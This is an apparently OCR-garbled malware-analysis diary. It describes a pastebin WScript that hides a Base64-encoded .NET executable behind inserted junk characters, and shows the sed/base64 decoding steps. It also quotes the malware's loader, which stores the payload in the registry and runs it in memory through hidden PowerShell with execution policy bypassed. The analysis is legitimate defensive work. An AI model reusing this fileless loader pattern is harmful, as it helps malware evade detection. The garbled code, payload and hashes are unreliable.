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A few months ago, I posted a diary to explain how to search for (malicious) PE files in Base64 data[1]. Base64 is
indeed a common way to distribute binary content in an ASCII form. There are plenty of scripts based on this
technique. On my Macbook, I'm using a small service created via Automator to automatically decode highlighted

Base64 data and submit them to my Viper instance for further analysis:

set O=CreateObject("Wscript.Shell")
fl=Wscript.scriptfullname
sn=Wsoript. scnmname

c= i y Bypass hidden -noexit -Command "
H="TVQQAAMAAAAEAAAA/BAALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAA4TUGIAANNIDGBTM~hVG Bi RESTIG1IVZGUUDO~'KJAAA
AAAAAABQROAATAFDAGGRRFKAAAAAAAAAAOAAAGF] ACSAAL IAAAAIAAAAAAAAIFAAAANAAAASAAAAABAAAAGAAAAAGAABAAAAAAAAAAEAAAAAAAAAAAGAQAAAGAAAAAAAAIAGIUAABAAABAAAAAAE AAAEAAAAAAAABA
AAAAAAAAAA DBzwAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAE
GAAAAAAAAA \CnNy YWAAAPGEAAAA4AAAAAYAAAC~ AAAAAAAAAAAAAAAAAABAAABALNIbGAAAMAAAAAAABAAACAAAAUGAAAAAAAAAAA
AAAAAAAQAA } AAAAAGAABGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMWBOBMAAAAAQAAEQA
CKAUAAAOW/ IUsers/xavier/Downloads/ 1qeBxdYCweGjmn+BA~*JLd4GDCsACCoTMAMACGAAAAIAABEACGEAAHAKIGKAAAOLBMBGAAAKF 1TKMKXKABWY IbwoAAAQMCWAAAS
gLAAAKCWAIF Base64/5ac498f3e88a82¢903c4203dda4 DgAACMBPAAAKEWYRBREGF GBQAAAKI0AABMWAQALAAAAAWAAE QB+AQAABAOTAAYGVNMEAAAGKBMAAAD-"AWAAAOABAAA
EKh4CKBQAA / SN+AACGAGAAUAIAACNTAHJpbmdzAAAAAFGFAAAIGAAAIT VTAGCIAAAQAAAAI~AVSUQAAABWIQAALAEAACNCDGIIAAAAAAAAAAI
AAAFXFalBCC /\ d8ead49528dc19414d66d6b8e594c71cE5 JAAAAAQAAAAE AAAABAAAAAQAAAAIAAAAAAAGAAQAAAAAABGBGAGMACGCGAHEABGDUANSADWACAQAABGAXAREBBGBRARE
BBgBVAWMAE g 91c |A5AtWBBgBLANEBCGB+AmYCCgCCANEAAAAAAAEAAAAAAAEAAQCAARAAHIAMAAUAAQABAAABEAAZADBACQABAAMAEQCIAB
QAUCAAAAAZ i -"AAGATIQAAAACRGJUCEAACAAARAQDXABKAYQAMACIAYQASADEAYOAJADKAY QAJAEE AIQE 2AE EAIWETAEE ADWE AFEAUQFFA
EEAWAFUAEE s ek AlkAyQCMAJEAQQLXABEAYQAJACAAIWAXACAAGWAKASIACWDAACAA AigDSAAMAAQAAAMBAIQA
CAAMAAWAEG (AAAAAAAAAAAAABAGMAAAAAAAAAADXNDZR1bGU+AFdpbmRVA3NVdGIsaXF JAUHIVZ3JhbQ VXRpbGI~*ZXM
AU2V~*dGIuZi Cancel L [dABTeXN~"ZW~*uQ29uZmindX. Bct R QmFzZQBIZXgyQni~*ZXMATWFpbgBkZWZhdWx~*SW5zdG
FuY2UAZ2V~ {AERIYNVnZ2FibGVBAHRyaWJ1dGUARGVidWdnaW5nTWEkZXMAU3IzdG VAL bnRpbWUUQR29tcGIsZX TZX2a WNIcwBDb2 1 waWxhd
CvblJIbGF4 Y X mpwessenmemmE T T e eV Rocm VHZEF~ dHJpYn V- ZQBTGHJpbmGASXNOGWiTFbXB-~e QBnZXRIT G VuZ3 ROAE5dGUAUVicIRyaWSnAENWDNZIGnQAY
G9CeXRIAEVIcHR5AGAIdFIDaGFyewBDaGFyAENvbmNhdABTeXN~*ZW~*uUmVmbGVjdGiv KAE1 ZMBAZ2V~* X~*VudHJ5UGSpbn QATWVLYmVySW5mbwBnZXRfTmFtZQBDemVhdGVJbnN~*YW5[ZQ

BNZXRob2RCYXNIAEIudm9rZQBDb21waWxickdlbmVyYXRIZEF~*dHJpYnV~*ZQBTeXN~*ZW~*uQ29kZURvbS5Db21 waWxlcgBHZWS5IcmF~*ZWRDb2RIQXR~*cmlidX RIACS]Y3RvcgBTZXR~*aWsnc~*Jhc2UAU3Iu Y 2hyb25pemVKAAAAA

MAAGAEWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWA DAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWA
DAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWA DAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAW

ADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWA DAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWADAAMAAWA DAAMAAWADAAMAA

But yesterday, I found, on pastebin.com[2], a malicious WScript file with a Base64 string that did not decode. The
script ended with an error "Invalid character in input stream”. I had a quick look at the script and found indeed

unexpected characters randomly spread in the Base64 data:

H="TVqQAAMAAAAEAAAA/ /8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAA fugdAtANNT
gBTM™*hVGhpcyBwcm9IncmF t IGNhbm5vdCBiZSBydW4gaW4gREITIGTvZGUUDQ ™ *KJAAAAAAAAABQRQAATAEDAGGNBFKAAAAAAAAA
OAAAQELAQSAALTAAAATAAAAAAAA] tEAAAAGAAAA4AAAAABAAAAGAAAAAGAABAAAAAAAAAAEAAAAAAAAAAAGAQAAAGAAAAAAAATAQ
UAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADTRAABXAAAAAOAAAPGEAAAAAAAAAAAAAAAAAAAAAAAAAAABAAWAAADS zw
AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAACAAAAAAAAAAAAAAACCAAAEGAAAAAAAAAAAA
AC5~*ZXh~*AAAATLEAAAAQAAAASGAAAATAAAAAAAAAAAAAAAAAACAAAGAUCNNY YWAAAPGEAAAA4AAAAAYAAAC™ *AAAAAAAAAAAAA
AAAABAAABAL. .. (redacted)

If you check in the VBScript code, you'll indeed see an instruction to replace those unexpected characters from the

Base64 string:

$_b=$_b.replace('™*','0");

When just replace the string by ‘0’ as stated in the script, you get back the malicious PE file:

$ sed "s/\"\*/0/g" baseb4.txt | base64 -d >basebd.exe
$ file baseb4.exe
foo.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
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$ md5sum baseb4.exe
07beb5dedbeelef5582f0eff5dd4d804 basebd.exe

The file is, of course, malicious as reported by VT[3].

Finally, a quick remark about the script itself: it uses the Windows registry to store the payload and execute it:

O.regwrite D,H,"REG_SZ"

0.Run C & chrw(34) & "$_b = (get-itemproperty -path "HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').Keyl
$_b=$_b.replace('~*','0");

[byte[]1$_0 = [System.Convert]::FromBase64String($_b);

$_1 = [System.Threading.Thread]: :GetDomain().Load($_0);

$_1.EntryPoint.invoke($null,$null);" & Chrw(34),0,false
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